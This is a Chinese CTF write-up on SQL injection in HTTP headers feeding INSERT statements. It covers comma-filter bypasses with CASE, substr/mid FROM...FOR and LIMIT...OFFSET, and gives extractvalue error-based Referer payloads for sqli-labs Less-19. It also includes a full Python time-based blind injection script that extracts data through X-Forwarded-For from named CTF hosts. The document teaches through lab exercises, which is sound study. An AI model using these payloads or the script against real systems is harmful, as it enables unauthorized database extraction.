从最简单的说起。
基础知识
0x01 INSERT INTO 语句的结构
一般头注入都和insert子句有关,常见的子句一般如下所示
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `use
rname`) VALUES ('$uagent', '$IP', $uname)";
而mysql对于INSERT INTO语句的用法是这样定义的
INSERT [LOW_PRIORITY | HIGH_PRIORITY] [IGNORE]
[INTO] tbl_name
[PARTITION (partition_name [, partition_name] ...)]
[(col_name [, col_name] ...)]
SELECT ...
[ON DUPLICATE KEY UPDATE assignment_list]
0x02 SQL case子句
一脸惊愕的发现很多教程都没有case子句的用法。好不容易看见一个写的不错的博客,赶紧用小本本记录下来
参考网站
http://www.cnblogs.com/martinzhang/p/3220595.html
select case when (条件) then 代码1 else 代码 2 end
当逗号被过滤的时候,这样的语句就显得极为好用。
case语句的基本格式如下所示:
CASE <单值表达式>
WHEN <表达式值> THEN <SQL语句或者返回值>
WHEN <表达式值> THEN <SQL语句或者返回值>
...
WHEN <表达式值> THEN <SQL语句或者返回值>
ELSE <SQL语句或者返回值>
END
测试数据如下:
CREATE TABLE `users` (
`id` int(10) unsigned NOT NULL auto_increment,
`sex` tinyint(1) default 1 COMMENT '性别:0女;1男;2保密',
`age` int(3) default 1 COMMENT '年龄',
`province` char(254) default NULL COMMENT '所在省份',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
INSERT INTO user(sex,age,province) VALUES
('1','22','北京'),('0','25','广东'),('0','56','天津'),('1','14','北京'),
('0','36','广东'),('1','68','湖南'),('1','45','北京'),('1','17','河北'),
('2','33','天津'),('1','27','湖南'),('1','29','北京'),('2','70','广东'),
('0','24','北京');
简单的case玩法
如果我们对sex为1,返回男,sex为0,返回女,否则返回保密的话。可以这样写:
select *,
(CASE
WHEN sex='1' THEN '男'
WHEN sex='0' THEN '女'
ELSE '保密' END)
as sex_text
from user
当然,如果就只要回显性别的那一列的话,那么就可以这么写(这也是后面题目中用到的姿势)
select
CASE sex
WHEN '1' THEN '男'
WHEN '0' THEN '女'
ELSE '保密' END
from users
稍微复杂一些的case子句
select *,
(CASE
WHEN age>=60 THEN '老年'
WHEN age<60 AND age>=30 THEN '中年'
WHEN age<30 AND age>=18 THEN '青年'
ELSE '未成年' END)
as age_text
from users
order by age
通过大于号,可以完成一些复杂的排序问题。这往往是order by子句不具备的能力。在sql注入的时候,也许这样的姿势也会带来意想不到的结果
0x03 逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。
关键函数 substr(),mid() 后的逗号绕过
- mid(user() from 1 for 1)
- substr(user() from 1 for 1)
- select substr(user()from -1) from yz ;
已知为user()=root
select mid(user() from 1 for 1);
>> r
select mid(user() from 2 for 1);
>> o
select mid(user() from 2 for 2);
>> oo
关键子句 limit 后的逗号绕过
- select * from testtable limit 2,1;
- select * from testtable limit 2 offset 1;
select province from users limit 1 offset 0;
>> 北京
select province from users limit 1 offset 1;
>> 天津
select province from users limit 2 offset 1;
>> 广东
>> 天津
select province from users limit 1,2;
>> 广东
>> 天津
limit 1 offset 0和limit 1,0 是一样的(注意要反过来)
于是,一波配合就可以完成没有逗号的payload了。
mysql> select mid((select province from users limit 1 offset 0) from 1 for 1);
+-----------------------------------------------------------------+
| 北 |
+-----------------------------------------------------------------+
mysql> select mid((select province from users limit 1 offset 0) from 2 for 1);
+-----------------------------------------------------------------+
| 京 |
+-----------------------------------------------------------------+
如果再配合上布尔判断,那么就能够完成一组盲注测试了。
//列表中 id 为 1,2,3...
select (mid((select id from users limit 1 offset 0) from 1 for 1))='1';
>>1 TRUE
select (mid((select id from users limit 1 offset 1) from 1 for 1))='1';
>>0 FALSE
大小敏感 binary
如果库中的参数并不是大小写敏感类型的话,那么就意味着查询的时候会返回这样的东西
//Dump
mysql> SELECT (substr((select username from users where id =1) from 1 for 1))='D';
+---------------------------------------------------------------------+
| 1 |
+---------------------------------------------------------------------+
mysql> SELECT (substr((select username from users where id =1) from 1 for 1))='d';
+---------------------------------------------------------------------+
| 1 |
+---------------------------------------------------------------------+
那么,如何让查询的时候大小写敏感呢?
Google启动!
在论坛上,我查到了这样一个函数:
#You can use cast or convert
SELECT CAST(DB_NAME() AS VARBINARY)
SELECT CONVERT(VARBINARY,DB_NAME())
当然,这不是mysql的语句,但是也给我带来了点启发。于是利用CAST函数可以构造下列的语句
mysql> SELECT CAST((substr((select username from users where id =1) from 1 for 1)) AS binary)='D';
+-------------------------------------------------------------------------------------+
| 1 |
+-------------------------------------------------------------------------------------+
mysql> SELECT CAST((substr((select username from users where id =1) from 1 for 1)) AS binary)='d';
+-------------------------------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------------------------------+
这样,查询结果就大小写敏感了。
例题分析
1.sqli-lib-Less19
这估计是见过的最简单的头注入了。
一般来说,头注入的语句都会和insert into有关,因为要把你的ip地址或者其他的东西打入数据库中
这里的语句是
19题这边储存的是Referer
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `use
rname`) VALUES ('$uagent', '$IP', $uname)";
那么payload也是很好构造的,利用报错注入或者盲注都可以。
爆库
Referer:1'and extractvalue(1,concat(0x7e,(select database()),0x7e)),'1')#
爆表
Referer:1'and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)),'1')#
爆列
Referer:1'and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=0x656d61696c73 limit 1,1),0x7e)),'1')#
爆字段
Referer:1'and extractvalue(1,concat(0x7e,(select email_id from emails limit 7,1),0x7e)),'1')#
盲注的思想也是类似的。不过只有时间盲注才有效。
2.BugKu Insert_Into
刚刚刷完sql-lib,然后就看到这个题目,一脸惊愕得发现逗号被过滤了,一时间束手无策。
翻阅别人的wp。看到了这样的写法
11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1
于是就觉得发现了一个新世界,听老哥说要用这样的语句才行:
select case when (条件) then 代码1 else 代码 2 end
由于源码已经给出,那么我们把大哥的代码和自己的代码合并起来,看看会如何
insert into client_ip (ip) values ('11'+
(
select case
when (substring((select flag from flag) from 0 for 1 )='1') then sleep(4)
else 1 end
)
and '1'='1
’)
大佬的代码我看不懂不是很懂为啥要加{}后来我发现他是用的().format(i)的方法
- CLIENT_IP
- FLAG
- FLAG
小二!上代码!!
# coding=utf-8
import requests
import sys
class XFF:
def run(self):
#self.xff_case_sleep_table()
#self.xff_case_sleep_column()
self.xff_case_sleep_flag()
def xff_case_sleep_table(self):
sql = "127.0.0.1'+(select case when substr((select table_name from information_schema.tables where table_schema=database() limit 1 offset 1) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://120.24.86.145:8002/web15/'
flag = ""
for i in range(1, 20):
# print(u'猜测...', str(i))
for ch in range(32, 129):
if ch == 128:
sys.exit(0)
sqli = sql.format(i, chr(ch))
# print(sqli)
header = {
'X-Forwarded-For': sqli
}
try:
html = requests.get(url, headers=header, timeout=3)
except:
flag += chr(ch)
print(flag)
break
def xff_case_sleep_column(self):
sql = "127.0.0.1'+(select case when substr((select column_name from information_schema.columns where table_name='flag' limit 1 offset 0) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://120.24.86.145:8002/web15/'
for j in range(0, 5):
flag = ""
for i in range(1, 20):
#print(u'猜测...', str(i))
for ch in range(32, 129):
if ch == 128:
sys.exit(0)
sqli = sql.format(i, chr(ch), j)
# print(sqli)
header = {
'X-Forwarded-For': sqli
}
try:
html = requests.get(url, headers=header, timeout=3)
except:
flag += chr(ch)
print(flag)
break
def xff_case_sleep_flag(self):
#sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
sql = "127.0.0.1'+(select case when CAST((substr((select username from users where id =1) from {0} for 1)) AS binary)='{1}'then sleep(5) else 0 end))--+"
url = 'http://120.24.86.145:8002/web15/'
flag = ''
for i in range(1, 40):
print(u'正在猜测:', str(i))
for ch in range(32, 129):
if ch == 128:
sys.exit(0)
sqli = sql.format(i, chr(ch))
# print(sqli)
header = {
'X-Forwarded-For': sqli
}
try:
html = requests.get(url, headers=header, timeout=3)
except:
flag += chr(ch)
print(flag)
break
if __name__ == '__main__':
XFF().run()
这里还有一个坑点,最后flag里面的东西是大写的字段,但是需要编写成小写的提交。但是本地测试没有问题。不知道是脚本的问题还是啥的。我觉得严谨点应该加上binary之类的限制。
关于大小写敏感,可以看上面的基础知识。
于是,我们更新上面的payload为
sql = "127.0.0.1'+(select case when CAST((substr((select username from users where id =1) from {0} for 1)) AS binary)='{1}'then sleep(5) else 0 end))--+"
测试完毕,flag的问题解决了。
实验吧 who are u
我后来才发现,原来这道题目和bugku的一毛一样。就是flag不一样。把上述脚本的url换成
http://ctf5.shiyanbar.com/web/wonderkun/index.php
就行实验吧的延迟很高,多试几次就行